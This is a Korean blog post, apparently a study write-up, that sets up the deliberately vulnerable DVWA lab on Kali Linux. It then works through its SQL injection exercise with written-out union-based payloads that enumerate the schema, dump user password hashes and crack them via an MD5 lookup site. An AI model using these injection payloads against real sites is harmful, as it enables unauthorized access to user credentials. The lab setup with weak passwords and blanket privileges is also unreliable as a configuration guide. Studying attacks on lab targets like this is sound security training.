DAWA 설치에 앞서 칼리 리눅스 패키지 목록을 최신 버전으로 업데이트 하겠습니다.
sudo apt get update
설치된 패키지들을 패키지 목록을 바탕으로 최신 상태로 업그레이드 하겠습니다.
sudo apt get upgrade
DVWA 설치
웹서버 부터 설치 해보겠습니다.
aphache2를 사용합니다.
apache2 설치
sudo apt install apahce2
git에서 DVWA 소스를 clone 해줍니다.
sudo git clone https://github.com/digininja/DVWA
config.inc.php.dist파일을 config.inc.php 이름으로 복사하겠습니다.
config 폴더로 이동
cd DVWA/config
config.inc.php 파일 생성
cp config.inc.php.dist config.inc.php
복사한 설정파일을 열어서 DB명, DB 유저명, DB 패스워드, DB 포트를 확인해 주세요.(MariaDB에서 생성할 정보)
sudo vi config.inc.php
DVWA 폴더 이동
sudo mv DVWA /var/www/html
### DB 설치
sudo apt install mariadb-server
DB 상태 확인
sudo service mysql status
disable 되어 있으므로 시작하겠습니다.
DB 서버 시작, 종료
sudo service mysql start
sudo service mysql stop
DB 접속
sudo mysql -u root -p
DB 생성
create database dvwa;
DB 생성 확인
show databases;
DB 유저 생성
create user 'dvwa'@'%' identified by 'p@ssw0rd'
생성한 유저에게 권한 부여
grant all privileges on *.* to 'dvwa'@'%'
설정 적용
flush privileges;
생성한 유저 확인
select user, host from mysql.user where user='dvwa';
### PHP 설치
sudo apt install php
### DVWA 웹 서버 띄우기
sudo servcie apache2 start
### 로그인
id : dvwa
pw : 4자 이상 아무거나 입력하면 로그인이 되는 듯 합니다.
dvwa는 권한이 없는 아이디 같습니다. 로그인을 하면 security Level을 조절할 수 있는 페이지에 접근할 수 없습니다.
일단 create / Reset Database 를 클릭해 주고 admin 계정으로 다시 로그인 하겠습니다.
id : admin
pw : password
### DVWA 보안 권한 설정
DVWA Security 이동 -> Low로 변경 -> Submit 클릭
### SQL Injection
SQL Injection 탭을 가보보면 SQL Injection Source를 볼 수 있습니다.
열어보면 쿼리가 보입니다.
query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
ID를 입력하면 first_name과 last_naem을 users테이블에서 조회하는 쿼리입니다.
1~5까지 값이 있네요.
Submit 클릭 시 get으로 요청하고, url 패턴은 "localhost/DVWA/vulnerabilities/sqli/?id='$id'&Submit=Submit" 입니다.
이러한 URL 패턴은 사용자가 입력한 ID 값이 '$id'로 쿼리에 직접 들어가므로 SQL Injection 공격에 취약해 보입니다.
ID 값을 (1' or '1'='1'#)로 입력하면 모든 조건이 항상 참이 되도록 하므로 사용자의 중요한 정보들이 노출될 수 있습니다.
직접 대입해 보면 모든 사용자의 ID와 이름을 확인할 수 있습니다.
비밀번호 알아내기
1. 컬럼 갯수를 알아내겠습니다.(View Source에서도 확인 가능)
order by를 이용해 컬럼 갯수를 확인하겠습니다. 1부터 결과가 야예 안뜰때 까지 올려줍니다.
(' order by 2 #) 2까지 하니까 에러 없이 결과가 안뜨네요.
컬럼 2개로 확인.
2. 알아낸 컬럼 갯수 기반으로 union 구문을 사용하여 database 정보를 알아내보겠습니다.
union은 두 개 이상의 select문의 결과를 하나로 결합하는 합집합을 구할 수 있는 연산자 입니다. 주로 여러 테이블이나 조건에 따라 결과를 합칠 때 유용하게 사용합니다.
DBMS 정보, DB이름 조회
(' union select database(), @@version #)
예) select column1, column2 From member where id = ''union select database(), @@version #'
DB명: dvwa
DBMS 버전 : 10.11.7-MariaDB-4
Host Name 조회
(' union select @@hostname, null #)
예) select column1, column2 From member where id = ''union select @@hostname, null #')
HostName: kali-g
Schema 이름 조회
MariaDB인걸 확인 했으니 스키마 이름도 조회가 가능해졌습니다.
' union select schema_name, null from information_schema.schemata #
예) select column1, column2 From member where id = '' union select schema_name, null from information_schema.schemata #'
dvwa라는 스키마에 원하는 정보가 있을 것으로 추정.
Table 조회
' union select table_name, null from information_schema.tables where table_schema = 'dvwa' #
예) select column1, column2 From member where id = '' union select table_name, null from information_schema.tables where table_schema = 'dvwa' #'
users 라는 테이블에 회원 정보가 있을 것으로 추정이 되기 때문에 users에 있는 column들을 확인해 보겠습니다.
Table 컬럼 정보 조회
' union select column_name, null from information_schema.columns where table_name = 'users' #
예) select column1, column2 From member where id = '' union select column_name, null from information_schema.columns where table_name = 'users' #'
로그인 시 필요한 컬럼은 user_id, password로 확인
사용자 아이디와 비밀번호 조회
' union select user, password from users #
예) select column1, column2 From member where id = '' union select user, password from users #'
암호화가 되어있습니다. admin 패스워드 복호화를 진행해 볼게요.
패스워드는 MD5로 암호화가 되어있습니다. 아래 사이트에 들어가서 암호화 된 패스워드를 입력하고 디코딩을 해서 MD5 해쉬값 복호화를 진행할게요.
https://md5.web-max.ca/index.php#enter
비밀번호: "password"로 알아냈습니다!
user_id: admin
password: password
user_id: gordonb
password: abc123
'보안공부 > Web Hacking' 카테고리의 다른 글
Web Goat로 웹해킹 공부하기 (0) | 2024.07.18 |
---|---|
웹 해킹 토이 프로젝트 (0) | 2024.07.10 |
OWASP Top Ten 2021 정리. (0) | 2024.07.10 |
웹 해킹 개요 (0) | 2024.06.19 |